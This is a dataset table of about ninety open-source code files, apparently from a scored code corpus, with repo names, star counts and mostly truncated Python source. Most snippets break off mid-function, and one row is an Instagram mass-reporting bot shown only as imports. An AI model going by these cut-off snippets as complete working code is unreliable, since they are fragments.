max_stars_repo_path
stringlengths
3
269
max_stars_repo_name
stringlengths
4
119
max_stars_count
int64
0
191k
id
stringlengths
1
7
content
stringlengths
6
1.05M
score
float64
0.23
5.13
int_score
int64
0
5
tests/k8s_handler.py
josebalius/go-spacemesh
586
1800
from datetime import datetime from kubernetes import client from kubernetes.client.rest import ApiException import os import time import yaml from tests import config as conf import tests.utils as ut def remove_clusterrole_binding(shipper_name, crb_name): # remove clusterrolebind k8s_client = client.RbacAuth...
2.15625
2
natlas-agent/config.py
m4rcu5/natlas
0
1801
import os from dotenv import load_dotenv class Config: # Current Version NATLAS_VERSION = "0.6.10" BASEDIR = os.path.abspath(os.path.dirname(__file__)) load_dotenv(os.path.join(BASEDIR, '.env')) def get_int(self, varname): tmp = os.environ.get(varname) if tmp: return int(tmp) return None def get_bo...
2.34375
2
rdr2019/mcmc_lc_jla_fit.py
rubind/host_unity
0
1802
import os import sys import click import pickle import sncosmo import numpy as np from astropy.table import Table DATA_PATH = '/home/samdixon/jla_light_curves/' def modify_error(lc, error_floor=0.): """Add an error floor of `error_floor` times the maximum flux of the band to each observation """ ...
2.046875
2
openmdao/core/tests/test_system.py
toddrme2178/OpenMDAO
0
1803
""" Unit tests for the system interface.""" import unittest from six import assertRaisesRegex from six.moves import cStringIO import numpy as np from openmdao.api import Problem, Group, IndepVarComp, ExecComp from openmdao.test_suite.components.options_feature_vector import VectorDoublingComp from openmdao.utils.ass...
2.515625
3
code/src/db/create_db.py
fabiangunzinger/sample_project
0
1804
#!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse import os import sqlite3 import sys import pandas as pd from src import config def parse_args(argv): parser = argparse.ArgumentParser() parser.add_argument('sample') parser.add_argument('replace') return parser.parse_args() def db_table...
2.9375
3
tests/test_responder.py
craigderington/responder-persons-api
0
1805
# coding: utf-8 import pytest import app as service import yaml import responder from starlette.responses import PlainTextResponse @pytest.fixture def api(): return service.api def test_hello_world(api): r = api.requests.get("/api/v1.0/index") assert r.text == "Hello, World!" def test_basic_route(api...
2.265625
2
examples/solar/p25_nonsparse_cmmgp.py
axdahl/SC-MMGP
0
1806
# -*- coding: utf-8 -*- """ Script to execute example covarying MMGP regression forecasting model with full Krhh. Inputs: Data training and test sets (dictionary pickle) Data for example: - normalised solar data for 25 sites for 15 minute forecast - N_train = 4200, N_test = 2276, P = 25, D = 51 - Xtr[:, :5...
2.453125
2
cruiser-lib/test/positioning/test_position_hl_commander.py
cfreebuf/kubeedge-examples
0
1807
<gh_stars>0 # -*- coding: utf-8 -*- # # || ____ _ __ # +------+ / __ )(_) /_______________ _____ ___ # | 0xBC | / __ / / __/ ___/ ___/ __ `/_ / / _ \ # +------+ / /_/ / / /_/ /__/ / / /_/ / / /_/ __/ # || || /_____/_/\__/\___/_/ \__,_/ /___/\___/ # # Copyright (C) 2018 Bitcraz...
1.984375
2
onmt/keyphrase/pke/unsupervised/graph_based/expandrank.py
NaomiatLibrary/OpenNMT-kpg-release
152
1808
#!/usr/bin/env python # -*- coding: utf-8 -*- # Author: <NAME> # Date: 10-02-2018 """ExpandRank keyphrase extraction model. Graph-based ranking approach to keyphrase extraction described in: * <NAME> and <NAME>. Single Document Keyphrase Extraction Using Neighborhood Knowledge. *In proceedings of AAAI*, pages 85...
2.875
3
5-serverless-xray-stack/app.py
mmeidlinger/cdk-microservices-labs
14
1809
<reponame>mmeidlinger/cdk-microservices-labs #!/usr/bin/env python3 from aws_cdk import core from fagate_serverless.fagate_serverless_stack import FagateServerlessStack app = core.App() FagateServerlessStack(app, "serverless-xray-stack") app.synth()
1.242188
1
dash/long_callback/managers/celery_manager.py
nickmelnikov82/dash
17,143
1810
import json import inspect import hashlib from _plotly_utils.utils import PlotlyJSONEncoder from dash.long_callback.managers import BaseLongCallbackManager class CeleryLongCallbackManager(BaseLongCallbackManager): def __init__(self, celery_app, cache_by=None, expire=None): """ Long callback manag...
2.265625
2
libraries/botframework-connector/botframework/connector/token_api/_token_api_client.py
victor-kironde/botbuilder-python
10
1811
# coding=utf-8 # -------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes ...
1.695313
2
soppi/sample.py
shikshan/soppi
0
1812
# content of test_sample.py def inc(x: int) -> int: return x + 1
1.71875
2
saleor/order/migrations/0081_auto_20200406_0456.py
fairhopeweb/saleor
15,337
1813
<gh_stars>1000+ # Generated by Django 3.0.4 on 2020-04-06 09:56 from django.db import migrations from saleor.order import OrderStatus def match_orders_with_users(apps, *_args, **_kwargs): Order = apps.get_model("order", "Order") User = apps.get_model("account", "User") orders_without_user = Order.objec...
2.140625
2
function/python/brightics/function/textanalytics/regex.py
jhpark428/studio
202
1814
""" Copyright 2019 Samsung SDS Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law ...
2.15625
2
bin/temperature_functions.py
travc/outbreak-reporter
0
1815
#!/usr/bin/env python3 import sys import os import logging import numpy as np import pandas as pd import dateutil def tempF2C(x): return (x-32.0)*5.0/9.0 def tempC2F(x): return (x*9.0/5.0)+32.0 def load_temperature_hdf5(temps_fn, local_time_offset, basedir=None, start_year=None, truncate_to_full_day=False): ## ...
2.546875
3
applications/CSharpWrapperApplication/tests/test_CSharpWrapperApplication.py
lkusch/Kratos
778
1816
# import Kratos import KratosMultiphysics import KratosMultiphysics.StructuralMechanicsApplication as StructuralMechanicsApplication import KratosMultiphysics.CSharpWrapperApplication as CSharpWrapperApplication import run_cpp_unit_tests # Import Kratos "wrapper" for unittests import KratosMultiphysics.KratosUnittest ...
2.1875
2
backend/api/models.py
mezidia/mezidia-airlines-backend
0
1817
<reponame>mezidia/mezidia-airlines-backend<filename>backend/api/models.py from sqlalchemy import Column, Integer, String, ForeignKey, Float from sqlalchemy.orm import relationship from .database import Base class Post(Base): __tablename__ = "posts" id = Column(Integer, primary_key=True, nullable=False, inde...
2.84375
3
run.py
Ganeshrockz/Flask-Python-Dev
0
1818
<reponame>Ganeshrockz/Flask-Python-Dev<filename>run.py from flask import Flask, flash, render_template, redirect, url_for from flask.ext.pymongo import PyMongo from flask import request app=Flask(__name__) app.config['MONGO_DBNAME']='stud' app.config['MONGO_URI']='mongodb://localhost:27017/stud' mongo=PyMongo(app) """ ...
2.859375
3
resources/tests/conftest.py
jussiarpalahti/respa
0
1819
# -*- coding: utf-8 -*- import pytest import datetime from django.contrib.auth import get_user_model from django.contrib.auth.models import Group from rest_framework.test import APIClient, APIRequestFactory from resources.enums import UnitAuthorizationLevel from resources.models import Resource, ResourceType, Unit, Pu...
1.90625
2
qcmetadataprinter/struct.py
x2dev/device_leeco_x2
0
1820
<reponame>x2dev/device_leeco_x2 #!/bin/python3 with open('../camera/QCamera2/stack/common/cam_intf.h', 'r') as f: data = f.read() f.closed start = data.find(' INCLUDE(CAM_INTF_META_HISTOGRAM') end = data.find('} metadata_data_t;') data = data[start:end] metadata = data.split("\n") metalist = list() for line ...
2.359375
2
abc/abc121/abc121d-2.py
c-yan/atcoder
1
1821
<reponame>c-yan/atcoder def g(A, n): if A == -1: return 0 return A // (2 * n) * n + max(A % (2 * n) - (n - 1), 0) def f(A, B): result = 0 for i in range(48): t = 1 << i if (g(B, t) - g(A - 1, t)) % 2 == 1: result += t return result A, B = map(int, input().spli...
2.65625
3
log_mysql.py
kizunai/Weather-Scrapy
0
1822
<reponame>kizunai/Weather-Scrapy import logging from logging.handlers import TimedRotatingFileHandler class MyLog(): def __init__(self, name, filename): self.logger = logging.getLogger(name) if not self.logger.handlers: self.logger.setLevel(logging.INFO) ch = TimedRotatingFi...
2.859375
3
src/fiesta/urls.py
lerooze/django-fiesta
0
1823
<gh_stars>0 # urls.py from django.urls import path, register_converter from fiesta import converters from fiesta.views import views from rest_framework.urlpatterns import format_suffix_patterns # "http://django-sdmx.org/wsrest/" # "http://django-sdmx.org/ws/" register_converter(converters.ResourceConverter, 'res') ...
2.03125
2
code-wars/010.moving-zeros-to-the-end.py
code-knayam/DataStructureAlgorithms
0
1824
<filename>code-wars/010.moving-zeros-to-the-end.py # Write an algorithm that takes an array and moves all of the zeros to the end, preserving the order of the other elements. def move_zeros(array): #your code here new_array = [] new_index = 0 while len(array) > 0: item = array.pop(0) ...
4
4
sepa_generator/definitions.py
jason-gm/python_sepa
0
1825
def construct_tag_data(tag_name, attrs=None, value=None, sorting=None): data = { '_name': tag_name, '_attrs': attrs or [], '_value': value, } if sorting: data['_sorting'] = sorting return data def add_simple_child(data, child_friendly_name, child_tag_name, child_attr...
2.078125
2
__main__.py
miezebieze/scott-launcher
1
1826
from enum import Enum from window import Window D = Enum ('Directions','N NE E SE S SW W NW') selector_map = { D.NW: [0.5,0.5], D.N: [1.5,0], D.NE: [2.5,0.5], D.W: [0,1.5], D.E: [3,1.5], D.SW: [0.5,2.5], D.S: [1.5,3], D.SE: [2.5,2.5], } selector_size = 100 window_si...
2.59375
3
cride/circles/serializers.py
monteals/C-Ride
0
1827
<gh_stars>0 from rest_framework import serializers from rest_framework.validators import UniqueValidator from cride.circles.models import Circle class CircleSerializer(serializers.Serializer): name = serializers.CharField() slug_name = serializers.SlugField() rides_taken = serializers.IntegerField() ri...
2.390625
2
figures/collide1a.py
brandon-rhodes/pycon2010-mighty-dictionary
22
1828
<gh_stars>10-100 import _dictdraw, sys d = {} surface = _dictdraw.draw_dictionary(d, [4]) surface.write_to_png(sys.argv[1])
2.03125
2
ReportBot.py
SeveNNoff/InstagramReportBot
1
1829
# coding=utf-8 #!/usr/bin/env python3 from libs.check_modules import check_modules from sys import exit from os import _exit check_modules() from os import path from libs.logo import print_logo from libs.utils import print_success from libs.utils import print_error from libs.utils import ask_question ...
2.390625
2
openfermioncirq/variational/ansatzes/default_initial_params_test.py
viathor/OpenFermion-Cirq
0
1830
<gh_stars>0 # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software ...
1.617188
2
spyder/plugins/variableexplorer/widgets/arrayeditor.py
seryj/spyder
0
1831
# -*- coding: utf-8 -*- # # Copyright © Spyder Project Contributors # Licensed under the terms of the MIT License # (see spyder/__init__.py for details) """ NumPy Array Editor Dialog based on Qt """ # pylint: disable=C0103 # pylint: disable=R0903 # pylint: disable=R0911 # pylint: disable=R0201 # Stand...
1.796875
2
libbeat/tests/system/idxmgmt.py
dddpaul/beats
4
1832
<filename>libbeat/tests/system/idxmgmt.py<gh_stars>1-10 import datetime import unittest import pytest from elasticsearch import NotFoundError class IdxMgmt(unittest.TestCase): def __init__(self, client, index): self._client = client self._index = index if index != '' and index != '*' else 'mockbe...
2.234375
2
chaco/polygon_plot.py
burnpanck/chaco
3
1833
""" Defines the PolygonPlot class. """ from __future__ import with_statement # Major library imports import numpy as np # Enthought library imports. from enable.api import LineStyle, black_color_trait, \ transparent_color_trait from kiva.agg import points_in_polygon from traits.api ...
2.71875
3
webapp/template_config.py
evgenyss/investing
0
1834
import os from datetime import timedelta basedir = os.path.abspath(os.path.dirname(__file__)) API_DATA_URL = "https://invest-public-api.tinkoff.ru/rest/tinkoff.public.invest.api.contract.v1.InstrumentsService/" API_LASTPRICES_URL = "https://invest-public-api.tinkoff.ru/rest/\ tinkoff.public.invest.api.contract.v1.Mar...
1.96875
2
humann2/quantify/families.py
dytk2134/humann2
0
1835
<reponame>dytk2134/humann2 """ HUMAnN2: quantify_families module Compute alignments by gene family Copyright (c) 2014 Harvard School of Public Health Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Softwa...
2.21875
2
Buta Nicolae/threads.py
RazvanBalau/parallel-2020
0
1836
import threading from multiprocessing import Queue results = [] results2 = [] def take_numbers(q): print('Enter the numbers:') for i in range(0,3): num1 = int(input('Enter first number: ')) num2 = int(input('Enter second number: ')) q.put(num1) q.put(num2) def add_num(q): ...
3.765625
4
code_week11_76_712/unique_paths.py
dylanlee101/leetcode
0
1837
''' 一个机器人位于一个 m x n 网格的左上角 (起始点在下图中标记为“Start” )。 机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角(在下图中标记为“Finish”)。 问总共有多少条不同的路径? 例如,上图是一个7 x 3 的网格。有多少可能的路径?   示例 1: 输入: m = 3, n = 2 输出: 3 解释: 从左上角开始,总共有 3 条路径可以到达右下角。 1. 向右 -> 向右 -> 向下 2. 向右 -> 向下 -> 向右 3. 向下 -> 向右 -> 向右 示例 2: 输入: m = 7, n = 3 输出: 28 来源:力扣(LeetCode) 链接:https:...
3.6875
4
spektral/datasets/qm9.py
JonaBecher/spektral
2,145
1838
import os import os.path as osp import numpy as np from joblib import Parallel, delayed from tensorflow.keras.utils import get_file from tqdm import tqdm from spektral.data import Dataset, Graph from spektral.utils import label_to_one_hot, sparse from spektral.utils.io import load_csv, load_sdf ATOM_TYPES = [1, 6, 7...
2.4375
2
code/Level 1 - Intro to CPX/5-acceleration/main.py
tscofield/cpx-training
0
1839
from adafruit_circuitplayground.express import cpx # Main loop gets x, y and z axis acceleration, prints the values, and turns on # red, green and blue, at levels related to the x, y and z values. while True: if cpx.switch: print("Slide switch off!") cpx.pixels.fill((0, 0, 0)) continue ...
3.1875
3
src/data_preprocess.py
QinganZhao/ML-based-driving-motion-prediction
18
1840
<reponame>QinganZhao/ML-based-driving-motion-prediction import numpy as np import matplotlib.pyplot as plt import matplotlib as mpl import matplotlib.patches as patches def load_data(file_name, car_flag): if car_flag == 1: data = np.loadtxt('./car1/'+str(file_name)) elif car_flag == 2: data = np.load...
3.109375
3
balancesheet/equityManager.py
tylertjburns/ledgerkeeper
0
1841
<reponame>tylertjburns/ledgerkeeper<gh_stars>0 import balancesheet.mongoData.equities_data_service as dsvce from userInteraction.financeCliInteraction import FinanceCliInteraction import ledgerkeeper.mongoData.account_data_service as dsvca from balancesheet.enums import EquityClass, AssetType, LiabiltyType, EquityTimeH...
2.390625
2
examples/django/hello_world/wsgi.py
liuyu81/SnapSearch-Client-Python
0
1842
import os os.environ.setdefault("DJANGO_SETTINGS_MODULE", "hello_world.settings") # django WSGI application from django.core.wsgi import get_wsgi_application application = get_wsgi_application() # load SnapSearch API credentials api_email = "<email>" api_key = "<key>" # initialize the interceptor from SnapSearch im...
1.625
2
confluent_server/confluent/syncfiles.py
xcat2/confluent
27
1843
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # Copyright 2021 Lenovo # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by ...
2.125
2
fym/models/missile.py
JungYT/fym
14
1844
<reponame>JungYT/fym<gh_stars>10-100 import numpy as np from fym.core import BaseSystem class MissilePlanar(BaseSystem): R = 288 g = 9.80665 S = 1 t1 = 1.5 t2 = 8.5 name = 'missile' def __init__(self, initial_state): super().__init__(initial_state) def external(self, states,...
2.859375
3
egg/zoo/addition/data.py
chengemily/EGG
1
1845
<filename>egg/zoo/addition/data.py<gh_stars>1-10 # Copyright (c) Facebook, Inc. and its affiliates. # This source code is licensed under the MIT license found in the # LICENSE file in the root directory of this source tree. from typing import Iterable, Optional, Tuple import torch from torch.utils.data import DataLo...
2.21875
2
mathfun/lexographic.py
lsbardel/mathfun
0
1846
""" Next lexicographical permutation algorithm https://www.nayuki.io/page/next-lexicographical-permutation-algorithm """ def next_lexo(S): b = S[-1] for i, a in enumerate(reversed(S[:-1]), 2): if a < b: # we have the pivot a for j, b in enumerate(reversed(S), 1): ...
3.671875
4
simulation-web3py/utility.py
miker83z/cloud-chain
0
1847
import json import os from argparse import ArgumentTypeError from eth_typing import Address from web3.contract import Contract from settings import MIN_VAL, MAX_VAL, DEPLOYED_CONTRACTS, CONFIG_DIR async def init_simulation(contracts: [], factor: float, fn: str, status_init: bool) -> bool: statuses = [True] ...
2.125
2
migrations/versions/816ea3631582_add_topics.py
OpenASL/HowSignBot
9
1848
"""add topics Revision ID: 816ea3631582 Revises: <KEY> Create Date: 2021-03-13 14:20:10.044131 """ from alembic import op import sqlalchemy as sa import bot # revision identifiers, used by Alembic. revision = "816ea3631582" down_revision = "<KEY>" branch_labels = None depends_on = None def upgrade(): # ### co...
1.515625
2
src/Lib/importlib/__init__.py
NUS-ALSET/ace-react-redux-brython
1
1849
"""A pure Python implementation of import.""" __all__ = ['__import__', 'import_module', 'invalidate_caches'] # Bootstrap help ##################################################### # Until bootstrapping is complete, DO NOT import any modules that attempt # to import importlib._bootstrap (directly or indirectly)....
2.484375
2
lib/arlunio/arlunio/image.py
swyddfa/stylo
0
1850
<gh_stars>0 from __future__ import annotations import base64 import io import logging import pathlib from typing import Optional # TODO: Remove these, as they should be contained in the numpy backend. import numpy as np import PIL.Image as PImage import arlunio.ast as ast import arlunio.color as color import arlunio...
2.265625
2
yamlable/tests/test_yamlable.py
smarie/python-yamlable
27
1851
from copy import copy try: # Python 2 only: from StringIO import StringIO # create a variant that can serve as a context manager class StringIO(StringIO): def __enter__(self): return self def __exit__(self, exception_type, exception_value, traceback): self.close(...
2.203125
2
src/twisted/web/server.py
vmario/twisted
0
1852
# -*- test-case-name: twisted.web.test.test_web -*- # Copyright (c) Twisted Matrix Laboratories. # See LICENSE for details. """ This is a web server which integrates with the twisted.internet infrastructure. @var NOT_DONE_YET: A token value which L{twisted.web.resource.IResource.render} implementations can return...
2.203125
2
pycoin/symbols/doge.py
jaschadub/pycoin
1
1853
from pycoin.networks.bitcoinish import create_bitcoinish_network network = create_bitcoinish_network( symbol="DOGE", network_name="Dogecoin", subnet_name="mainnet", wif_prefix_hex="9e", address_prefix_hex="1e", pay_to_script_prefix_hex="16", bip32_prv_prefix_hex="<KEY>", bip32_pub_prefix_hex="<KEY>")
2.34375
2
Pset/hamming_numbers.py
MarkHershey/python-learning
9
1854
<reponame>MarkHershey/python-learning def hamming(n): """Returns the nth hamming number""" hamming = {1} x = 1 while len(hamming) <= n * 3.5: new_hamming = {1} for i in hamming: new_hamming.add(i * 2) new_hamming.add(i * 3) new_hamming.add(i * 5) ...
4.375
4
examples/run_merger.py
needlehaystack/needlestack
3
1855
import logging from grpc_health.v1 import health_pb2, health_pb2_grpc from grpc_health.v1.health import HealthServicer from needlestack.apis import servicers_pb2_grpc from needlestack.servicers import factory from needlestack.servicers.merger import MergerServicer from examples import configs logging.getLogger("kaz...
1.8125
2
engine_wrapper.py
lidevelopers/Lishogi-Bot-1
0
1856
<filename>engine_wrapper.py<gh_stars>0 import os import shogi import backoff import subprocess from util import * import logging logger = logging.getLogger(__name__) import engine_ctrl @backoff.on_exception(backoff.expo, BaseException, max_time=120) def create_engine(config, board): cfg = config["engine"] e...
2.234375
2
examples/python/test_as2.py
sloriot/cgal-swig-bindings
0
1857
from CGAL.CGAL_Kernel import Point_2 from CGAL.CGAL_Kernel import Weighted_point_2 from CGAL.CGAL_Alpha_shape_2 import Alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2 from CGAL.CGAL_Alpha_shape_2 import Weighted_alpha_shape_2_Face_handle from CGAL.CGAL_Alpha_shape_2 import GENERAL, EXTERIOR, SI...
2.328125
2
connections/mode.py
pavithra-mahamani/TAF
0
1858
<reponame>pavithra-mahamani/TAF ''' Created on Jan 18, 2018 @author: riteshagarwal ''' java = False rest = False cli = False
1.078125
1
scene_action2.py
encela95dus/ios_pythonista_examples
36
1859
import scene class MyScene(scene.Scene): def setup(self): self.label_node = scene.LabelNode('A', position=(100,400), parent=self) self.start_flag = False def update(self): if self.start_flag: x,y = self.label_node.position if x < 34...
3.09375
3
bot/commands/disconnect.py
aq1/vkPostman
1
1860
from bot.commands import BaseCommand import mongo class DisconnectCommand(BaseCommand): _COMMAND = 'disconnect' _DESCRIPTION = 'Close currently active chat.' _SUCCESS_MESSAGE = 'Disconnected from chat' def _callback(self, user, _bot, update, **kwargs): return self._call(user, _bot, update, ...
2.421875
2
pysh/bash_vm/shell_command.py
JordanKoeller/Pysch
0
1861
<reponame>JordanKoeller/Pysch from __future__ import annotations import subprocess import os from typing import List, Dict, Iterator, Optional, Tuple class ShellCommand: def __init__(self, cmd: str): self.run_args = [ "bash", "-c", f'{cmd}' ] # self.run_args: List[str] = [ex...
2.59375
3
indico/web/forms/fields/protection.py
jgrigera/indico
1
1862
<reponame>jgrigera/indico<filename>indico/web/forms/fields/protection.py<gh_stars>1-10 # This file is part of Indico. # Copyright (C) 2002 - 2020 CERN # # Indico is free software; you can redistribute it and/or # modify it under the terms of the MIT License; see the # LICENSE file for more details. from __future__ imp...
1.90625
2
src/saml2/saml.py
masterapps-au/pysaml2
0
1863
<reponame>masterapps-au/pysaml2 #!/usr/bin/env python # # Generated Mon May 2 14:23:33 2011 by parse_xsd.py version 0.4. # # A summary of available specifications can be found at: # https://wiki.oasis-open.org/security/FrontPage # # saml core specifications to be found at: # if any question arise please query the fol...
1.820313
2
ROS_packages/custom_ROS_envs/turtlebot2_maze_env/src/turtlebot2_maze_random.py
PierreExeter/custom_gym_envs
1
1864
<reponame>PierreExeter/custom_gym_envs<filename>ROS_packages/custom_ROS_envs/turtlebot2_maze_env/src/turtlebot2_maze_random.py<gh_stars>1-10 #!/usr/bin/env python import gym import rospy from openai_ros.openai_ros_common import StartOpenAI_ROS_Environment # initialise environment rospy.init_node('turtlebot2_maze_rand...
2.21875
2
solver.py
jacobchh/Sudoku-Solver
1
1865
import numpy as np board = np.zeros(shape=(9, 9)) count = 0 def solve(): global count count += 1 if count % 1000 == 0: print('\rCurrent number of computations made:', count, end='') freePos = find() if freePos is None: return True i = freePos[0] j = freePos[1] for w in...
3.46875
3
01_basics/01_building_expressions/02_vector_mat_soln.py
johny-c/theano_exercises
711
1866
<filename>01_basics/01_building_expressions/02_vector_mat_soln.py import numpy as np from theano import function import theano.tensor as T def make_vector(): """ Returns a new Theano vector. """ return T.vector() def make_matrix(): """ Returns a new Theano matrix. """ return T.matrix...
3.0625
3
nova/api/openstack/compute/used_limits.py
bopopescu/nova-8
0
1867
# Copyright 2012 OpenStack Foundation # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law ...
1.835938
2
tf_agents/bandits/agents/examples/v2/trainer.py
howards11/agents
3,175
1868
<reponame>howards11/agents<filename>tf_agents/bandits/agents/examples/v2/trainer.py # coding=utf-8 # Copyright 2020 The TF-Agents Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # ...
1.960938
2
rally_openstack/cfg/manila.py
RSE-Cambridge/rally-openstack
0
1869
<filename>rally_openstack/cfg/manila.py # Copyright 2013: Mirantis Inc. # All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licen...
1.648438
2
app/backend/app/crud/crud_register_invoice.py
matayoos/invoice-scrapper
0
1870
<gh_stars>0 from sqlalchemy.orm.session import Session from app import crud from .utils import insert, get_content def register_invoice(db: Session, url: str): content = get_content.get_invoice_info(url) grocery_store_id = insert.insert_grocery_store_info( db, obj_in=content["grocery_store"] ) ...
2.546875
3
examples/web/handlers.py
nicoddemus/aioworkers
45
1871
<reponame>nicoddemus/aioworkers<filename>examples/web/handlers.py async def handler(context): return await context.data
1.320313
1
tools/genapixml.py
garronej/linphone
0
1872
#!/usr/bin/python # Copyright (C) 2014 Belledonne Communications SARL # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version....
2.21875
2
examples/src/python/join_streamlet_topology.py
aaronstjohn/incubator-heron
2
1873
<filename>examples/src/python/join_streamlet_topology.py #!/usr/bin/env python # -*- encoding: utf-8 -*- # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownershi...
2.0625
2
yolk/test/utils.py
yolkdata/yolk-python
0
1874
<reponame>yolkdata/yolk-python from datetime import date, datetime, timedelta from decimal import Decimal import unittest from dateutil.tz import tzutc import six from yolk import utils class TestUtils(unittest.TestCase): def test_timezone_utils(self): now = datetime.now() utcnow = datetime.now...
2.59375
3
09Scan/matrix.py
kw1122/MKS66
0
1875
<reponame>kw1122/MKS66<gh_stars>0 """ A matrix will be an N sized list of 4 element lists. Each individual list will represent an [x, y, z, 1] point. For multiplication purposes, consider the lists like so: x0 x1 xn y0 y1 yn z0 z1 ... zn 1 1 1 """ import math def make_bezier(): re...
3.53125
4
tests/test.py
Nekmo/spice
0
1876
<reponame>Nekmo/spice<gh_stars>0 from bs4 import BeautifulSoup import requests import sys, os from time import sleep sys.path.insert(0, '/home/may/Dropbox/Programming/spice/') import spice_api as spice def main(): creds = spice.load_auth_from_file('auth') print(creds) results = spice.search('Re:Zero Kar...
2.265625
2
backend/project/settings.py
prog-serhii/MyMoney_v2
1
1877
import os from pathlib import Path from datetime import timedelta from celery.schedules import crontab from django.utils.translation import gettext_lazy as _ # Build paths inside the project like this: BASE_DIR / 'subdir'. BASE_DIR = Path(__file__).resolve().parent.parent SECRET_KEY = os.environ.get( 'SECRET_...
1.976563
2
app/flaskApp/config.py
jeanmarc2019/PTHacks2019-Planning
0
1878
import configparser import os dir_path = os.path.dirname(os.path.realpath(__file__)) dir_path += '/cfg.ini' class Configuration(object): def __init__(self,debug=False): section = "Flask-debug" if debug else "Flask" cfg = configparser.ConfigParser() cfg.read(dir_path if debug e...
2.234375
2
neutron/db/models/l3ha.py
cleo4zheng/neutron
4
1879
<filename>neutron/db/models/l3ha.py # Copyright (C) 2014 eNov<NAME> <<EMAIL>> # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless re...
1.789063
2
authentication/migrate.py
anae09/electionWebService
0
1880
<reponame>anae09/electionWebService from flask import Flask; from configuration import Configuration; from flask_migrate import Migrate, init, migrate, upgrade; from models import database, Role, UserRole, User; from sqlalchemy_utils import database_exists, create_database; application = Flask(__name__); application.c...
2.078125
2
output/ensemble_analysis.py
gitter-lab/pria-ams-enamine
1
1881
<filename>output/ensemble_analysis.py from __future__ import print_function import os import json import numpy as np def extract(file_path): if not os.path.isfile(file_path): return -1, -1, -1 with open(file_path, 'r') as f: lines = f.readlines() test_roc, test_precision...
2.671875
3
openstack_dashboard/test/integration_tests/regions/messages.py
ankur-gupta91/block_storage
1
1882
# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # d...
1.9375
2
model_input.py
bgarbin/GUIDE
0
1883
<reponame>bgarbin/GUIDE # -*- coding: utf-8 -*- import numpy as np #import cmath as cm # Main parameters for window # 'record_every': number of time_steps one between two consecutive record events window_params = {'kernel': 'RK4','nstep_update_plot': 100, 'step_size': 0.01, 'array_size': 10000, 'streaming': True...
2.484375
2
input/EnvEq/pairwise/Tneg-Tpro/u_lim_o2Tpro-u_lim_o2Tneg/parallelizer.py
Harshavardhan-BV/Cancer-compe-strat
1
1884
from multiprocessing import Pool import EnvEq as ee import numpy as np import itertools as it import os #parsing input into numpy arrays from input import * y0=np.array([y0_Tpos,y0_Tpro,y0_Tneg,y0_o2,y0_test]) p=np.array([p_o2,p_test]) mu=np.array([[mu_o2Tpos,mu_o2Tpro,mu_o2Tneg],[mu_testTpos,mu_testTpro,0]]) lam=np.a...
2.1875
2
task1_makeTrainingDataset.py
1985312383/contest
2
1885
<filename>task1_makeTrainingDataset.py import csv import re import numpy as np thre = 1.5 # 要调整的参数,这个是阈值 iteration_num = 2 # 要调整的参数,这个是迭代次数 def KalmanFilter(z, n_iter=20): # 卡尔曼滤波 # 这里是假设A=1,H=1的情况 # intial parameters sz = (n_iter,) # size of array # Q = 1e-5 # process variance Q = 1e-6 ...
3.078125
3
checkmate/contrib/plugins/all/progpilot/setup.py
marcinguy/checkmate-ce
0
1886
<reponame>marcinguy/checkmate-ce<gh_stars>0 from .analyzer import ProgpilotAnalyzer from .issues_data import issues_data analyzers = { 'phpanlyzer' : { 'name' : 'phpanalyzer', 'title' : 'phpanalyzer', 'class' : ProgpilotAnalyzer, 'language' : 'all', ...
1.507813
2
genlist.py
truckli/technotes
0
1887
<reponame>truckli/technotes #!/usr/bin/env python import shutil, re, os, sys file_model = "Model.template" bookname = "TechNotes" file_bibtex = "thebib.bib" folder_target = "../pdf/" #if name is a chapter, return its sections def get_sections(name): if not os.path.isdir(name): return [] files = os.l...
2.328125
2
editing files/Portable Python 3.2.5.1/App/Lib/site-packages/serial/serialposix.py
mattl1598/testing
0
1888
#!/usr/bin/env python # # Python Serial Port Extension for Win32, Linux, BSD, Jython # module for serial IO for POSIX compatible systems, like Linux # see __init__.py # # (C) 2001-2010 <NAME> <<EMAIL>> # this is distributed under a free software license, see license.txt # # parts based on code from <NAME> <<EMAIL>>: #...
2.5
2
Older Examples - enter at your own risk/lavender_pos/app/models.py
electricimp/examples
26
1889
<reponame>electricimp/examples import datetime from database import Base from sqlalchemy import Column, String, Integer, ForeignKey, DateTime, Float class User(Base): __tablename__ = 'users' id = Column(Integer, primary_key=True) first_name = Column(String(255)) last_name = Column(String(255)) em...
2.9375
3
rr_ml/nodes/end_to_end/train.py
ebretl/roboracing-software
0
1890
